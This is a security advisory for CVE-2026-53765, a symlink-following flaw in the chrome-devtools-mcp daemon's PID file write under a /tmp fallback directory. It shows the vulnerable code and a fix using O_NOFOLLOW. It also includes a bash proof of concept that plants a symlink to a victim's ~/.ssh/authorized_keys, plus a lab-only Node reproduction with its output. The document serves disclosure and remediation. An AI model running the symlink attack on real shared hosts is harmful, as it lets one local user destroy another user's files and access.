---
id: CVE-2026-53765
title: >-
  Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback
  runtime directory
summary: >-
  Chrome DevTools for agents: daemon.pid write follows symlinks in /tmp fallback
  runtime directory
severity: medium
cvss: 6.1
cwe:
  - CWE-59
vendor: chrome-devtools-mcp
product: chrome-devtools-mcp
ecosystem: npm
affected:
  - 'chrome-devtools-mcp >= 0.20.0, <= 1.0.1'
patched:
  - chrome-devtools-mcp 1.1.0
published: '2026-06-17'
updated: '2026-06-17'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-3pvj-jv98-qhjq'
references:
  - url: >-
      https://github.com/ChromeDevTools/chrome-devtools-mcp/security/advisories/GHSA-3pvj-jv98-qhjq
  - url: 'https://github.com/advisories/GHSA-3pvj-jv98-qhjq'
tags:
  - ghsa
  - npm
epss: 0.00104
epssPercentile: 0.01133
ingestedAt: '2026-06-29T14:31:47.444Z'
---

## Overview

### Summary

The chrome-devtools-mcp daemon writes its PID file with `fs.writeFileSync()` to a deterministic runtime path. On typical macOS environments, and on Linux sessions where `$XDG_RUNTIME_DIR` is unset, that runtime path falls back to `/tmp/chrome-devtools-mcp-<uid>/daemon.pid`.

Because the write does not use `O_NOFOLLOW`, a local low-privilege user on the same POSIX host can pre-create `/tmp/chrome-devtools-mcp-<victim_uid>/daemon.pid` as a symlink to a file writable by the victim. When the victim later starts daemon mode, `fs.writeFileSync()` follows the symlink and truncates the target file to the daemon PID string.

This report is deliberately scoped to POSIX systems where the daemon falls back to `/tmp`: typical macOS environments and Linux sessions without `$XDG_RUNTIME_DIR`. Windows is out of scope because the default temp directory is per-user and symlink creation has additional privilege requirements.

### Details

Affected code:

`src/daemon/daemon.ts:38-42`

```ts
const pidFilePath = getPidFilePath(sessionId);
fs.mkdirSync(path.dirname(pidFilePath), {
  recursive: true,
});
fs.writeFileSync(pidFilePath, process.pid.toString());
```

`src/daemon/utils.ts:49-68`

```ts
export function getRuntimeHome(sessionId: string): string {
  const platform = os.platform();
  const uid = os.userInfo().uid;
  const suffix = sessionId ? `-${sessionId}` : '';
  const appName = APP_NAME + suffix;

  if (process.env.XDG_RUNTIME_DIR) {
    return path.join(process.env.XDG_RUNTIME_DIR, appName);
  }

  if (platform === 'darwin' || platform === 'linux') {
    return path.join('/tmp', `${appName}-${uid}`);
  }

  return path.join(os.tmpdir(), appName);
}
```

The `/tmp` sticky bit prevents non-owner file removal, but it does not prevent another local user from creating a subdirectory under `/tmp`. If an attacker creates `/tmp/chrome-devtools-mcp-<victim_uid>/` first and places a symlink at `daemon.pid`, the victim's daemon process follows that link when writing the PID.

Preconditions:

- The victim is on a typical macOS environment where `$XDG_RUNTIME_DIR` is unset, or on a Linux system/session where `$XDG_RUNTIME_DIR` is unset.
- The attacker has any local user account on the same host.
- The victim later runs a `chrome-devtools` CLI path or MCP integration that starts daemon mode.

### PoC

Realistic POSIX scenario:

```bash
# Attacker, before victim starts daemon mode.
victim_uid=1000
mkdir -p "/tmp/chrome-devtools-mcp-${victim_uid}"
chmod 0755 "/tmp/chrome-devtools-mcp-${victim_uid}"
ln -s "/home/victim/.ssh/authorized_keys" \
      "/tmp/chrome-devtools-mcp-${victim_uid}/daemon.pid"

# Victim later starts daemon mode.
chrome-devtools start

# Result:
# fs.writeFileSync follows the symlink, so authorized_keys is truncated to
# the daemon PID string.
```

Lab-only PoC that touches only a fresh `os.tmpdir()/cdtmcp-lab-*` directory:

```js
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');

const lab = fs.mkdtempSync(path.join(os.tmpdir(), 'cdtmcp-lab-'));

try {
  fs.chmodSync(lab, 0o755);

  const victimSecret = path.join(lab, 'victim-secret.txt');
  fs.writeFileSync(
    victimSecret,
    'IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED\n',
  );

  const runtimeDir = path.join(lab, 'attacker-pre-created');
  fs.mkdirSync(runtimeDir, {recursive: true});

  const pidFilePath = path.join(runtimeDir, 'daemon.pid');
  fs.symlinkSync(victimSecret, pidFilePath);

  // Exact pattern from src/daemon/daemon.ts:39-42.
  fs.mkdirSync(path.dirname(pidFilePath), {recursive: true});
  fs.writeFileSync(pidFilePath, process.pid.toString());

  console.log(fs.readFileSync(victimSecret, 'utf8'));
  // -> "<pid>"  (victim file was truncated/overwritten)
} finally {
  fs.rmSync(lab, {recursive: true, force: true});
}
```

Observed output from the lab PoC:

```text
[setup] victim secret BEFORE attack:
  IMPORTANT VICTIM CONTENT - MUST NOT BE TRUNCATED
[attack] symlink placed: <runtimeDir>/daemon.pid -> <victimSecret>
[victim ran daemon] victim secret AFTER:
  <pid>
[lstat pidFile] still symlink
[outcome] victim file was overwritten via attacker-placed symlink.
```

I can provide the standalone `pidfile_symlink_poc.cjs` file if needed. The attached/local version includes platform notes, Windows symlink-permission diagnostics, and cleanup guards.

### Impact

Who can exploit:

Any local user account on the same POSIX host where the victim runs the chrome-devtools-mcp daemon, when `$XDG_RUNTIME_DIR` is unset for that user session.

Security impact:

- Integrity: an attacker can truncate and overwrite any file the victim can write, with content constrained to the daemon PID string.
- Availability: critical user configuration files can be corrupted until restored from backup.
- Confidentiality: none directly; the written content is only the PID string.

Example targets affected by truncation:

- `~/.ssh/authorized_keys`, causing the victim to lose SSH access.
- `~/.bashrc`, `~/.zshrc`, or `~/.profile`, breaking shell startup.
- Project `.env`, `secrets.json`, license files, or line-oriented config files.
- Logs or local audit files writable by the victim.

Suggested fix:

Open the PID file with `O_NOFOLLOW` and validate runtime directory ownership/permissions before writing:

```ts
import {constants, openSync, writeSync, closeSync} from 'node:fs';

const fd = openSync(
  pidFilePath,
  constants.O_WRONLY |
    constants.O_CREAT |
    constants.O_TRUNC |
    constants.O_NOFOLLOW,
  0o600,
);
writeSync(fd, process.pid.toString());
closeSync(fd);
```

## Affected packages

- `chrome-devtools-mcp >= 0.20.0, <= 1.0.1`

## Remediation

Upgrade to a patched release:

- `chrome-devtools-mcp 1.1.0`
